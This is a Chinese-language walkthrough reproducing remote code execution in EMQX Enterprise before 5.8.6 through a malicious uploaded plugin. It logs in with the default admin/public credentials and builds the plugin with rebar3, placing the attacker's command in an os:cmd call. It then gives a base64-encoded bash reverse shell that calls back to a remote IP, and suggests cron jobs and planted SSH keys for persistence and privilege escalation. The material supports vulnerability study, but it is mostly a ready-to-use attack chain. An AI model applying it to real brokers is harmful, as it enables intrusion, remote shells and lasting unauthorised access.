影响版本

漏洞影响版本:5.8.6 版本以前

环境搭建

使用docker进行启动:

docker pull emqx/emqx-enterprise:5.5.1
docker run -d --name emqx-enterprise -p 1883:1883 -p 8083:8083 -p 8084:8084 -p 8883:8883 -p 18083:18083 emqx/emqx-enterprise:5.5.1

启动后访问http://ip:18083,登录的账号/密码:admin/public,登录后需要进行修改密码也可以进行跳过。

漏洞复现

制作恶意插件

1、安装相关软件以及依赖条件

sudo apt update
sudo apt install -y build-essential autoconf libncurses5-dev libssl-dev libwxgtk3.2-dev libgl1-mesa-dev libglu1-mesa-dev libpng-dev libssh-dev unixodbc-dev cmake
git clone https://github.com/asdf-vm/asdf.git ~/.asdf --branch v0.13.1
echo '. "$HOME/.asdf/asdf.sh"' >> ~/.bashrc
echo '. "$HOME/.asdf/completions/asdf.bash"' >> ~/.bashrc
source ~/.bashrc
asdf --version

2、安装erlang、rebar3

asdf plugin-add erlang https://github.com/asdf-vm/asdf-erlang.git
asdf install erlang 25.3
asdf global erlang 25.3
wget https://s3.amazonaws.com/rebar3/rebar3
chmod +x rebar3
sudo mv rebar3 /usr/local/bin/

在安装erlang时需要设置网络代理

export http_proxy=http://192.168.88.108:7897
export https_proxy=http://192.168.88.108:7897

3、创建插件

rebar3 new emqx-plugin my_emqx_plugin

4、修改执行的命令

可以修改插件my_emqx_plugin/src/my_emqx_plugin.erl文件的第47行,修改要执行的命令

vim my_emqx_plugin/src/my_emqx_plugin.erl

5、编译生成压缩文件.tar.gz

make -C my_emqx_plugin rel

my_emqx_plugin父文件夹中执行该命令,my_emqx_pluginroot目录下则在root目录下执行该命令。

命令执行完成后会生成.tar.gz 文件

你可以使用如下命令,将压缩文件复制到你的当前目录:

cp my_emqx_plugin/_build/default/emqx_plugrel/my_emqx_plugin-1.0.0.tar.gz .

上传插件

将生成的插件进行上传

上传插件后启动插件,即可执行设置好的命令。

进入容器查看容器中是否创建了文件

看到已经成功创建了poc.txt文件。

反弹shell

修改文件,这里是base64进行bash的反弹shell:

os:cmd("echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4Ljg4LjIwNi84ODc3IDA+JjEK | base64 --decode | bash"),

重新编译生成压缩文件:

重新上传并启动插件,并查看shell是否返回

这里启动后会反弹shell,但是插件会启动失败,反弹回来的权限为emqx低权限

如果是其他环境中,可以考虑使用多个命令写入定时任务,写入公钥来进行权限维持和权限的提升,具体还请自行尝试

参考链接

https://mp.weixin.qq.com/s?__biz=MzU0NjU5NDE4Mg==&mid=2247485575&idx=1&sn=868a7708d13adce2fb67a49e090f7846

https://github.com/ricardojoserf/emqx-RCE?tab=readme-ov-file